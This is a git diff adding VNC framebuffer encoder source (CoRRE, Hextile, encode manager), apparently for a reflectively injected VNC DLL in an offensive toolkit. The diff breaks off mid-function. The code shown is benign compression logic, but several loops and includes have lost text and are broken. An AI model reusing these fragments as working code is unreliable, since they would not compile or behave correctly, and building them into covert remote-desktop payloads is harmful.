+vncEncodeCoRRE::EncodeSmallRect(BYTE *source, BYTE *dest, const rfb::Rect &rect) +{ + int subrects = -1; + + const UINT rectW = rect.br.x - rect.tl.x; + const UINT rectH = rect.br.y - rect.tl.y; + + // Create the rectangle header + rfbFramebufferUpdateRectHeader *surh=(rfbFramebufferUpdateRectHeader *)dest; + surh->r.x = (CARD16) rect.tl.x; + surh->r.y = (CARD16) rect.tl.y; + surh->r.w = (CARD16) (rectW); + surh->r.h = (CARD16) (rectH); + surh->r.x = Swap16IfLE(surh->r.x); + surh->r.y = Swap16IfLE(surh->r.y); + surh->r.w = Swap16IfLE(surh->r.w); + surh->r.h = Swap16IfLE(surh->r.h); + surh->encoding = Swap32IfLE(rfbEncodingCoRRE); + + // create a space big enough for the CoRRE encoded pixels + if (m_bufflen < (rectW*rectH*m_remoteformat.bitsPerPixel / 8)) + { + if (m_buffer != NULL) + { + delete [] m_buffer; + m_buffer = NULL; + } + m_buffer = new BYTE [rectW*rectH*m_remoteformat.bitsPerPixel/8+1]; + if (m_buffer == NULL) + return vncEncoder::EncodeRect(source, dest, rect); + + m_bufflen = rectW*rectH*m_remoteformat.bitsPerPixel/8; + } + + // Translate the data into our new buffer + Translate(source, m_buffer, rect); + + // The Buffer object will have ensured that the destination buffer is + // big enough using RequiredBuffSize + + // Choose the appropriate encoding routine (for speed...) + switch(m_remoteformat.bitsPerPixel) + { + case 8: + subrects = subrectEncode8( + m_buffer, + dest+sz_rfbFramebufferUpdateRectHeader+sz_rfbRREHeader, + rectW, + rectH, + m_bufflen-sz_rfbFramebufferUpdateRectHeader-sz_rfbRREHeader + ); + break; + case 16: + subrects = subrectEncode16( + (CARD16 *)m_buffer, + (CARD8 *)(dest+sz_rfbFramebufferUpdateRectHeader+sz_rfbRREHeader), + rectW, + rectH, + m_bufflen-sz_rfbFramebufferUpdateRectHeader-sz_rfbRREHeader + ); + break; + case 32: + subrects = subrectEncode32( + (CARD32 *)m_buffer, + (CARD8 *)(dest+sz_rfbFramebufferUpdateRectHeader+sz_rfbRREHeader), + rectW, + rectH, + m_bufflen-sz_rfbFramebufferUpdateRectHeader-sz_rfbRREHeader + ); + break; + } + + // If we couldn't encode the rectangles then just send the data raw + if (subrects < 0) + return vncEncoder::EncodeRect(source, dest, rect); + + // Send the RREHeader + rfbRREHeader *rreh=(rfbRREHeader *)(dest+sz_rfbFramebufferUpdateRectHeader); + rreh->nSubrects = Swap32IfLE(subrects); + + // Calculate the size of the buffer produced + return sz_rfbFramebufferUpdateRectHeader + sz_rfbRREHeader + rreAfterBufLen; +} + +/* + * subrectEncode() encodes the given multicoloured rectangle as a background + * colour overwritten by single-coloured rectangles. It returns the number + * of subrectangles in the encoded buffer, or -1 if subrect encoding won't + * fit in the buffer. It puts the encoded rectangles in rreAfterBuf. The + * single-colour rectangle partition is not optimal, but does find the biggest + * horizontal or vertical rectangle top-left anchored to each consecutive + * coordinate position. + * + * The coding scheme is simply [...] where each + * is []. + */ + +#define DEFINE_SUBRECT_ENCODE(bpp) \ +static int \ +subrectEncode##bpp( \ + CARD##bpp *source, \ + CARD8 *dest, \ + int w, \ + int h, \ + int maxbytes) \ +{ \ + CARD##bpp cl; \ + rfbCoRRERectangle subrect; \ + int x,y; \ + int i,j; \ + int hx=0,hy,vx=0,vy; \ + int hyflag; \ + CARD##bpp *seg; \ + CARD##bpp *line; \ + int hw,hh,vw,vh; \ + int thex,they,thew,theh; \ + int numsubs = 0; \ + int newLen; \ + CARD##bpp bg = (CARD##bpp)getBgColour((char*)source,w*h,bpp); \ + \ + *((CARD##bpp*)dest) = bg; \ + \ + rreAfterBufLen = (bpp/8); \ + \ + for (y=0; y 0) && (i >= hx)) {hy += 1;} else {hyflag = 0;} \ + } \ + vy = j-1; \ + \ + /* We now have two possible subrects: (x,y,hx,hy) and (x,y,vx,vy) \ + * We'll choose the bigger of the two. \ + */ \ + hw = hx-x+1; \ + hh = hy-y+1; \ + vw = vx-x+1; \ + vh = vy-y+1; \ + \ + thex = x; \ + they = y; \ + \ + if ((hw*hh) > (vw*vh)) { \ + thew = hw; \ + theh = hh; \ + } else { \ + thew = vw; \ + theh = vh; \ + } \ + \ + subrect.x = thex; \ + subrect.y = they; \ + subrect.w = thew; \ + subrect.h = theh; \ + \ + newLen = rreAfterBufLen + (bpp/8) + sz_rfbCoRRERectangle; \ + if ((newLen > (w * h * (bpp/8))) || (newLen > maxbytes)) \ + return -1; \ + \ + numsubs += 1; \ + *((CARD##bpp*)(dest + rreAfterBufLen)) = cl; \ + rreAfterBufLen += (bpp/8); \ + memcpy(&dest[rreAfterBufLen],&subrect,sz_rfbCoRRERectangle); \ + rreAfterBufLen += sz_rfbCoRRERectangle; \ + \ + /* \ + * Now mark the subrect as done. \ + */ \ + for (j=they; j < (they+theh); j++) { \ + for (i=thex; i < (thex+thew); i++) { \ + source[j*w+i] = bg; \ + } \ + } \ + } \ + } \ + } \ + \ + return numsubs; \ +} + +DEFINE_SUBRECT_ENCODE(8) +DEFINE_SUBRECT_ENCODE(16) +DEFINE_SUBRECT_ENCODE(32) + +/* + * getBgColour() gets the most prevalent colour in a byte array. + */ +static CARD32 +getBgColour( + char *data, + int size, + int bpp) +{ + +#define NUMCLRS 256 + + static int counts[NUMCLRS]; + int i,j,k; + + int maxcount = 0; + CARD8 maxclr = 0; + + if (bpp != 8) { + if (bpp == 16) { + return ((CARD16 *)data)[0]; + } else if (bpp == 32) { + return ((CARD32 *)data)[0]; + } else { + fprintf(stderr,"getBgColour: bpp %d?\n",bpp); + exit(1); + } + } + + for (i=0; i= NUMCLRS) { + fprintf(stderr, "%s: unusual colour = %d\n", "getBgColour",k); + exit(1); + } + counts[k] += 1; + if (counts[k] > maxcount) { + maxcount = counts[k]; + maxclr = ((CARD8 *)data)[j]; + } + } + + return maxclr; +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencodecorre.h b/external/source/reflective_vncdll/winvnc/winvnc/vncencodecorre.h new file mode 100644 index 0000000000..5d5caece1e --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencodecorre.h @@ -0,0 +1,81 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncEncodeCoRRE object + +// The vncEncodeCoRRE object uses a compression encoding to send rectangles +// to a client + +class vncEncodeCoRRE; + +#if !defined(_WINVNC_ENCODECORRRE) +#define _WINVNC_ENCODECORRE +#pragma once + +#include "vncEncoder.h" + +// Class definition + +class vncEncodeCoRRE : public vncEncoder +{ +// Fields +public: + +// Methods +public: + // Create/Destroy methods + vncEncodeCoRRE(); + ~vncEncodeCoRRE(); + + virtual void Init(); + + virtual UINT RequiredBuffSize(UINT width, UINT height); + virtual UINT NumCodedRects(const rfb::Rect &rect); + + virtual UINT EncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect); + virtual void SetCoRREMax(BYTE width, BYTE height); +protected: + virtual UINT InternalEncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect); + virtual UINT EncodeSmallRect(BYTE *source, BYTE *dest, const rfb::Rect &rect); + +// Implementation +protected: + BYTE *m_buffer; + int m_bufflen; + + // Maximum height & width for CoRRE + UINT m_maxwidth; + UINT m_maxheight; + + // Last-update stats for CoRRE + UINT m_encodedbytes, m_rectbytes; + UINT m_lastencodedbytes, m_lastrectbytes; + int m_maxadjust; + int m_threshold; + BOOL m_statsready; +}; + +#endif // _WINVNC_ENCODECORRE + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencodehext.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncencodehext.cpp new file mode 100644 index 0000000000..4b92c351f6 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencodehext.cpp @@ -0,0 +1,403 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncEncodeHexT + +// This file implements the vncEncoder-derived vncEncodeHexT class. +// This class overrides some vncEncoder functions to produce a +// Hextile encoder. Hextile splits all top-level update rectangles +// into smaller, 16x16 rectangles and encodes these using the +// optimised Hextile sub-encodings. + +#include "vncEncodeHexT.h" +#include "rfb.h" +#include "rfbMisc.h" +#include +#include + +vncEncodeHexT::vncEncodeHexT() +{ +} + +vncEncodeHexT::~vncEncodeHexT() +{ +} + +void +vncEncodeHexT::Init() +{ + vncEncoder::Init(); +} + +UINT +vncEncodeHexT::RequiredBuffSize(UINT width, UINT height) +{ + return vncEncoder::RequiredBuffSize(width, height) + (((width/16)+1) * ((height/16)+1)); +} + +UINT +vncEncodeHexT::NumCodedRects(const rfb::Rect &rect) +{ + return 1; +} + +/* + * hextile.c + * + * Routines to implement Hextile Encoding + */ + +#include +#include "rfb.h" + +/* + * vncEncodeHexT::EncodeRect - send a rectangle using hextile encoding. + */ + +UINT +vncEncodeHexT::EncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect) +{ + const UINT rectW = rect.br.x - rect.tl.x; + const UINT rectH = rect.br.y - rect.tl.y; + + // Create the rectangle header + rfbFramebufferUpdateRectHeader *surh=(rfbFramebufferUpdateRectHeader *)dest; + surh->r.x = (CARD16) rect.tl.x; + surh->r.y = (CARD16) rect.tl.y; + surh->r.w = (CARD16) (rectW); + surh->r.h = (CARD16) (rectH); + surh->r.x = Swap16IfLE(surh->r.x); + surh->r.y = Swap16IfLE(surh->r.y); + surh->r.w = Swap16IfLE(surh->r.w); + surh->r.h = Swap16IfLE(surh->r.h); + surh->encoding = Swap32IfLE(rfbEncodingHextile); + + // Do the encoding + switch (m_remoteformat.bitsPerPixel) + { + case 8: + return sz_rfbFramebufferUpdateRectHeader + + EncodeHextiles8(source, dest + sz_rfbFramebufferUpdateRectHeader, + rect.tl.x, rect.tl.y, rectW, rectH); + case 16: + return sz_rfbFramebufferUpdateRectHeader + + EncodeHextiles16(source, dest + sz_rfbFramebufferUpdateRectHeader, + rect.tl.x, rect.tl.y, rectW, rectH); + case 32: + return sz_rfbFramebufferUpdateRectHeader + + EncodeHextiles32(source, dest + sz_rfbFramebufferUpdateRectHeader, + rect.tl.x, rect.tl.y, rectW, rectH); + } + + return vncEncoder::EncodeRect(source, dest, rect); +} + +#define PUT_PIXEL8(pix) (dest[destoffset++] = (pix)) + +#define PUT_PIXEL16(pix) (dest[destoffset++] = ((char*)&(pix))[0], \ + dest[destoffset++] = ((char*)&(pix))[1]) + +#define PUT_PIXEL32(pix) (dest[destoffset++] = ((char*)&(pix))[0], \ + dest[destoffset++] = ((char*)&(pix))[1], \ + dest[destoffset++] = ((char*)&(pix))[2], \ + dest[destoffset++] = ((char*)&(pix))[3]) + +#define DEFINE_SEND_HEXTILES(bpp) \ + \ +static UINT subrectEncode##bpp(CARD##bpp *src, BYTE *dest, \ + int w, int h, CARD##bpp bg, \ + CARD##bpp fg, BOOL mono); \ +static void testColours##bpp(CARD##bpp *data, int size, BOOL *mono, \ + BOOL *solid, CARD##bpp *bg, CARD##bpp *fg); \ + \ + \ +/* \ + * rfbSendHextiles \ + */ \ + \ +UINT \ +vncEncodeHexT::EncodeHextiles##bpp(BYTE *source, BYTE *dest, \ + int rx, int ry, int rw, int rh) \ +{ \ + int x, y, w, h; \ + int rectoffset, destoffset; \ + CARD##bpp bg, fg, newBg, newFg; \ + BOOL mono, solid; \ + BOOL validBg = FALSE; \ + CARD##bpp clientPixelData[16*16*(bpp/8)]; \ + BOOL validFg = FALSE; \ + \ + destoffset = 0; \ + \ + for (y = ry; y < ry+rh; y += 16) \ + { \ + for (x = rx; x < rx+rw; x += 16) \ + { \ + w = h = 16; \ + if (rx+rw - x < 16) \ + w = rx+rw - x; \ + if (ry+rh - y < 16) \ + h = ry+rh - y; \ + \ + rfb::Rect hexrect; \ + hexrect.tl.x = x; \ + hexrect.tl.y = y; \ + hexrect.br.x = x+w; \ + hexrect.br.y = y+h; \ + Translate(source, (BYTE *) &clientPixelData, hexrect); \ + \ + rectoffset = destoffset; \ + dest[rectoffset] = 0; \ + destoffset++; \ + \ + testColours##bpp(clientPixelData, w * h, \ + &mono, &solid, &newBg, &newFg); \ + \ + if (!validBg || (newBg != bg)) \ + { \ + validBg = TRUE; \ + bg = newBg; \ + dest[rectoffset] |= rfbHextileBackgroundSpecified; \ + PUT_PIXEL##bpp(bg); \ + } \ + \ + if (solid) \ + continue; \ + \ + dest[rectoffset] |= rfbHextileAnySubrects; \ + \ + if (mono) \ + { \ + if (!validFg || (newFg != fg)) \ + { \ + validFg = TRUE; \ + fg = newFg; \ + dest[rectoffset] |= rfbHextileForegroundSpecified; \ + PUT_PIXEL##bpp(fg); \ + } \ + } \ + else \ + { \ + validFg = FALSE; \ + dest[rectoffset] |= rfbHextileSubrectsColoured; \ + } \ + \ + int encodedbytes = subrectEncode##bpp(clientPixelData, \ + dest + destoffset, \ + w, h, bg, fg, mono); \ + destoffset += encodedbytes; \ + if (encodedbytes == 0) \ + { \ + /* encoding was too large, use raw */ \ + validBg = FALSE; \ + validFg = FALSE; \ + destoffset = rectoffset; \ + dest[destoffset++] = rfbHextileRaw; \ + \ + Translate(source, (BYTE *) &clientPixelData, hexrect); \ + \ + memcpy(dest + destoffset, (char *)clientPixelData, \ + w * h * (bpp/8)); \ + \ + destoffset += w * h * (bpp/8); \ + } \ + } \ + } \ + \ + return destoffset; \ +} \ + \ +static UINT \ +subrectEncode##bpp(CARD##bpp *src, BYTE *dest, int w, int h, CARD##bpp bg, \ + CARD##bpp fg, BOOL mono) \ +{ \ + CARD##bpp cl; \ + int x,y; \ + int i,j; \ + int hx=0,hy,vx=0,vy; \ + int hyflag; \ + CARD##bpp *seg; \ + CARD##bpp *line; \ + int hw,hh,vw,vh; \ + int thex,they,thew,theh; \ + int numsubs = 0; \ + int newLen; \ + int rectoffset; \ + int destoffset; \ + \ + destoffset = 0; \ + rectoffset = destoffset; \ + destoffset++; \ + \ + for (y=0; y 0) && (i >= hx)) \ + { \ + hy += 1; \ + } \ + else \ + { \ + hyflag = 0; \ + } \ + } \ + vy = j-1; \ + \ + /* We now have two possible subrects: (x,y,hx,hy) and \ + * (x,y,vx,vy). We'll choose the bigger of the two. \ + */ \ + hw = hx-x+1; \ + hh = hy-y+1; \ + vw = vx-x+1; \ + vh = vy-y+1; \ + \ + thex = x; \ + they = y; \ + \ + if ((hw*hh) > (vw*vh)) \ + { \ + thew = hw; \ + theh = hh; \ + } \ + else \ + { \ + thew = vw; \ + theh = vh; \ + } \ + \ + if (mono) \ + { \ + newLen = destoffset - rectoffset + 2; \ + } \ + else \ + { \ + newLen = destoffset - rectoffset + bpp/8 + 2; \ + } \ + \ + if (newLen > (w * h * (bpp/8))) \ + return 0; \ + \ + numsubs += 1; \ + \ + if (!mono) PUT_PIXEL##bpp(cl); \ + \ + dest[destoffset++] = rfbHextilePackXY(thex,they); \ + dest[destoffset++] = rfbHextilePackWH(thew,theh); \ + \ + /* \ + * Now mark the subrect as done. \ + */ \ + for (j=they; j < (they+theh); j++) \ + { \ + for (i=thex; i < (thex+thew); i++) \ + { \ + src[j*w+i] = bg; \ + } \ + } \ + } \ + } \ + } \ + \ + dest[rectoffset] = numsubs; \ + \ + return destoffset; \ +} \ + \ + \ +/* \ + * testColours() tests if there are one (solid), two (mono) or more \ + * colours in a tile and gets a reasonable guess at the best background \ + * pixel, and the foreground pixel for mono. \ + */ \ + \ +static void \ +testColours##bpp(CARD##bpp *data, int size, \ + BOOL *mono, BOOL *solid, \ + CARD##bpp *bg, CARD##bpp *fg) \ +{ \ + CARD##bpp colour1, colour2; \ + int n1 = 0, n2 = 0; \ + *mono = TRUE; \ + *solid = TRUE; \ + \ + for (; size > 0; size--, data++) \ + { \ + \ + if (n1 == 0) \ + colour1 = *data; \ + \ + if (*data == colour1) \ + { \ + n1++; \ + continue; \ + } \ + \ + if (n2 == 0) \ + { \ + *solid = FALSE; \ + colour2 = *data; \ + } \ + \ + if (*data == colour2) \ + { \ + n2++; \ + continue; \ + } \ + \ + *mono = FALSE; \ + break; \ + } \ + \ + if (n1 > n2) \ + { \ + *bg = colour1; \ + *fg = colour2; \ + } \ + else \ + { \ + *bg = colour2; \ + *fg = colour1; \ + } \ +} + +DEFINE_SEND_HEXTILES(8) +DEFINE_SEND_HEXTILES(16) +DEFINE_SEND_HEXTILES(32) diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencodehext.h b/external/source/reflective_vncdll/winvnc/winvnc/vncencodehext.h new file mode 100644 index 0000000000..908120dc9a --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencodehext.h @@ -0,0 +1,72 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncEncodeHexT object + +// The vncEncodeHexT object uses a compression encoding to send rectangles +// to a client + +class vncEncodeHexT; + +#if !defined(_WINVNC_ENCODEHEXTILE) +#define _WINVNC_ENCODEHEXTILE +#pragma once + +#include "vncEncoder.h" + +// Class definition + +class vncEncodeHexT : public vncEncoder +{ +// Fields +public: + +// Methods +public: + // Create/Destroy methods + vncEncodeHexT(); + ~vncEncodeHexT(); + + virtual void Init(); + + virtual UINT RequiredBuffSize(UINT width, UINT height); + virtual UINT NumCodedRects(const rfb::Rect &rect); + + virtual UINT EncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect); + +protected: + virtual UINT EncodeHextiles8(BYTE *source, BYTE *dest, + int x, int y, int w, int h); + virtual UINT EncodeHextiles16(BYTE *source, BYTE *dest, + int x, int y, int w, int h); + virtual UINT EncodeHextiles32(BYTE *source, BYTE *dest, + int x, int y, int w, int h); + +// Implementation +protected: +}; + +#endif // _WINVNC_ENCODEHEXTILE + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencodemgr.h b/external/source/reflective_vncdll/winvnc/winvnc/vncencodemgr.h new file mode 100644 index 0000000000..5e775ab5d1 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencodemgr.h @@ -0,0 +1,425 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +// vncEncodeMgr + +// This class is used internally by vncClient to offload the handling of +// bitmap data encoding and translation. Trying to avoid bloating the +// already rather bloaty vncClient class! + +class vncEncodeMgr; + +#if !defined(_WINVNC_VNCENCODEMGR) +#define _WINVNC_VNCENCODEMGR +#pragma once + +// Includes + +#include "vncEncoder.h" +#include "vncEncodeRRE.h" +#include "vncEncodeCoRRE.h" +#include "vncEncodeHexT.h" +#include "vncEncodeZRLE.h" +#include "vncBuffer.h" + +#include + +// +// -=- Define the Encoding Manager interface +// + +class vncEncodeMgr +{ +public: + // Create/Destroy methods + inline vncEncodeMgr(); + inline ~vncEncodeMgr(); + + inline void SetBuffer(vncBuffer *buffer); + + // BUFFER INFO + inline rfb::Rect GetSize() {return m_buffer->GetSize();}; + inline BYTE *GetClientBuffer(); + inline UINT GetClientBuffSize(); + inline BOOL GetPalette(RGBQUAD *quadbuff, UINT ncolours); + + inline omni_mutex& GetUpdateLock() {return m_buffer->m_desktop->GetUpdateLock();}; + + // MIRRORING DISPLAY TO BACK-BUFFER + inline void GrabRegion(const rfb::Region2D &src); + + // ENCODING & TRANSLATION + inline UINT GetNumCodedRects(const rfb::Rect &rect); + inline BOOL SetEncoding(CARD32 encoding); + inline UINT EncodeRect(const rfb::Rect &rect); + inline BOOL SetServerFormat(); + inline BOOL SetClientFormat(rfbPixelFormat &format); + inline rfbPixelFormat GetClientFormat() {return m_clientformat;}; + +protected: + + // Routine used internally to ensure the client buffer is OK + inline BOOL CheckBuffer(); + + // Pixel buffers and access to display buffer + BYTE *m_clientbuff; + UINT m_clientbuffsize; + BYTE *m_clientbackbuff; + UINT m_clientbackbuffsize; + + // Pixel formats, translation and encoding + rfbPixelFormat m_clientformat; + BOOL m_clientfmtset; + rfbServerInitMsg m_scrinfo; + rfbTranslateFnType m_transfunc; + vncEncoder *m_encoder; + vncEncoder* zrleEncoder; +public: + vncBuffer *m_buffer; +}; + +// +// -=- Constructor/destructor +// + +inline vncEncodeMgr::vncEncodeMgr() + : zrleEncoder(0) +{ + m_encoder = NULL; + m_buffer=NULL; + + m_clientbuff = NULL; + m_clientbuffsize = 0; + m_clientbackbuff = NULL; + m_clientbackbuffsize = 0; + + m_clientfmtset = FALSE; +} + +inline vncEncodeMgr::~vncEncodeMgr() +{ + if (zrleEncoder && zrleEncoder != m_encoder) + delete zrleEncoder; + if (m_encoder != NULL) + { + delete m_encoder; + m_encoder = NULL; + } + if (m_clientbuff != NULL) + { + delete m_clientbuff; + m_clientbuff = NULL; + } + if (m_clientbackbuff != NULL) + { + delete m_clientbackbuff; + m_clientbackbuff = NULL; + } +} + +inline void +vncEncodeMgr::SetBuffer(vncBuffer *buffer) +{ + m_buffer=buffer; + CheckBuffer(); + GrabRegion(rfb::Region2D(0, 0, + m_scrinfo.framebufferWidth, + m_scrinfo.framebufferHeight)); +} + +// +// -=- Encoding of pixel data for transmission +// + +inline BYTE * +vncEncodeMgr::GetClientBuffer() +{ + return m_clientbuff; +} + +inline BOOL +vncEncodeMgr::GetPalette(RGBQUAD *quadlist, UINT ncolours) +{ + // Try to get the RGBQUAD data from the encoder + // This will only work if the remote client is palette-based, + // in which case the encoder will be storing RGBQUAD data + if (m_encoder == NULL) + { + //vnclog.Print(LL_INTWARN, VNCLOG("GetPalette called but no encoder set\n")); + return FALSE; + } + + // Now get the palette data + return m_encoder->GetRemotePalette(quadlist, ncolours); +} + +inline BOOL +vncEncodeMgr::CheckBuffer() +{ + // Get the screen format, in case it has changed + m_buffer->m_desktop->FillDisplayInfo(&m_scrinfo); + + // If the client has not specified a pixel format then set one for it + if (!m_clientfmtset) { + m_clientfmtset = TRUE; + m_clientformat = m_scrinfo.format; + } + + // If the client has not selected an encoding then set one for it + if ((m_encoder == NULL) && (!SetEncoding(rfbEncodingRaw))) + return FALSE; + + // Check the client buffer is sufficient + const UINT clientbuffsize = + m_encoder->RequiredBuffSize(m_scrinfo.framebufferWidth, + m_scrinfo.framebufferHeight); + if (m_clientbuffsize != clientbuffsize) + { + //vnclog.Print(LL_INTINFO, VNCLOG("request client buffer[%u]\n"), clientbuffsize); + if (m_clientbuff != NULL) + { + delete [] m_clientbuff; + m_clientbuff = NULL; + } + m_clientbuffsize = 0; + + m_clientbuff = new BYTE [clientbuffsize]; + if (m_clientbuff == NULL) + { + //vnclog.Print(LL_INTERR, VNCLOG("unable to allocate client buffer[%u]\n"), clientbuffsize); + return FALSE; + } + memset(m_clientbuff, 0, clientbuffsize); + m_clientbuffsize = clientbuffsize; + } + + // Check the client backing buffer matches the server back buffer + const UINT backbuffsize = m_buffer->m_backbuffsize; + if (m_clientbackbuffsize != backbuffsize) + { + //vnclog.Print(LL_INTINFO, VNCLOG("request client back buffer[%u]\n"), backbuffsize); + if (m_clientbackbuff) { + delete [] m_clientbackbuff; + m_clientbackbuff = 0; + } + m_clientbackbuffsize = 0; + + m_clientbackbuff = new BYTE[backbuffsize]; + if (!m_clientbackbuff) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to allocate client back buffer[%u]\n"), backbuffsize); + return FALSE; + } + memset(m_clientbackbuff, 0, backbuffsize); + m_clientbackbuffsize = backbuffsize; + } + + //vnclog.Print(LL_INTINFO, VNCLOG("remote buffer=%u\n"), m_clientbuffsize); + + return TRUE; +} + +// Set the encoding to use +inline BOOL +vncEncodeMgr::SetEncoding(CARD32 encoding) +{ + // Delete the old encoder + if (m_encoder != NULL) + { + if (m_encoder != zrleEncoder) + delete m_encoder; + m_encoder = NULL; + } + + // Returns FALSE if the desired encoding cannot be used + switch(encoding) + { + + case rfbEncodingRaw: + + //vnclog.Print(LL_INTINFO, VNCLOG("raw encoder requested\n")); + + // Create a RAW encoder + m_encoder = new vncEncoder; + if (m_encoder == NULL) + return FALSE; + break; + + case rfbEncodingRRE: + + //vnclog.Print(LL_INTINFO, VNCLOG("RRE encoder requested\n")); + + // Create a RRE encoder + m_encoder = new vncEncodeRRE; + if (m_encoder == NULL) + return FALSE; + break; + + case rfbEncodingCoRRE: + + //vnclog.Print(LL_INTINFO, VNCLOG("CoRRE encoder requested\n")); + + // Create a CoRRE encoder + m_encoder = new vncEncodeCoRRE; + if (m_encoder == NULL) + return FALSE; + break; + + case rfbEncodingHextile: + + //vnclog.Print(LL_INTINFO, VNCLOG("Hextile encoder requested\n")); + + // Create a CoRRE encoder + m_encoder = new vncEncodeHexT; + if (m_encoder == NULL) + return FALSE; + break; + + case rfbEncodingZRLE: + //vnclog.Print(LL_INTINFO, VNCLOG("ZRLE encoder requested\n")); + if (!zrleEncoder) { + try { + zrleEncoder = new vncEncodeZRLE; + } catch (rdr::Exception& e) { + //vnclog.Print(LL_INTERR, VNCLOG("ZRLE error:%s\n"), e.str()); + } + } + if (zrleEncoder) + m_encoder = zrleEncoder; + break; + + default: + // An unknown encoding was specified + //vnclog.Print(LL_INTERR, VNCLOG("unknown encoder requested\n")); + + return FALSE; + } + + // Initialise it and give it the pixel format + m_encoder->Init(); + m_encoder->SetLocalFormat( + m_scrinfo.format, + m_scrinfo.framebufferWidth, + m_scrinfo.framebufferHeight); + if (m_clientfmtset) + if (!m_encoder->SetRemoteFormat(m_clientformat)) + { + //vnclog.Print(LL_INTERR, VNCLOG("client pixel format is not supported\n")); + + return FALSE; + } + + // Check that the client buffer is compatible + return CheckBuffer(); +} + +// Predict how many update rectangles a given rect will encode to +// For Raw, RRE or Hextile, this is always 1. For CoRRE, may be more, +// because each update rect is limited in size. +inline UINT +vncEncodeMgr::GetNumCodedRects(const rfb::Rect &rect) +{ + return m_encoder->NumCodedRects(rect); +} + +// +// -=- Pixel format translation +// + +// Update the local pixel format used by the encoder +inline BOOL +vncEncodeMgr::SetServerFormat() +{ + if (m_encoder) { + CheckBuffer(); + return m_encoder->SetLocalFormat( + m_scrinfo.format, + m_scrinfo.framebufferWidth, + m_scrinfo.framebufferHeight); + } + return FALSE; +} + +// Specify the client's pixel format +inline BOOL +vncEncodeMgr::SetClientFormat(rfbPixelFormat &format) +{ + //vnclog.Print(LL_INTINFO, VNCLOG("SetClientFormat called\n")); + + // Save the desired format + m_clientfmtset = TRUE; + m_clientformat = format; + + // Tell the encoder of the new format + if (m_encoder != NULL) + m_encoder->SetRemoteFormat(format); + + // Check that the output buffer is sufficient + if (!CheckBuffer()) + return FALSE; + + return TRUE; +} + +// Copy a region from the server back-buffer to the client back-buffer, +// prior to encoding +inline void +vncEncodeMgr::GrabRegion(const rfb::Region2D ®ion) { + rfb::RectVector rects; + rfb::RectVector::const_iterator i; + if (!region.get_rects(rects, 1, 1)) return; + if (!m_clientbackbuff) { + //vnclog.Print(LL_INTERR, "no client back-buffer available\n"); + return; + } + const UINT width = 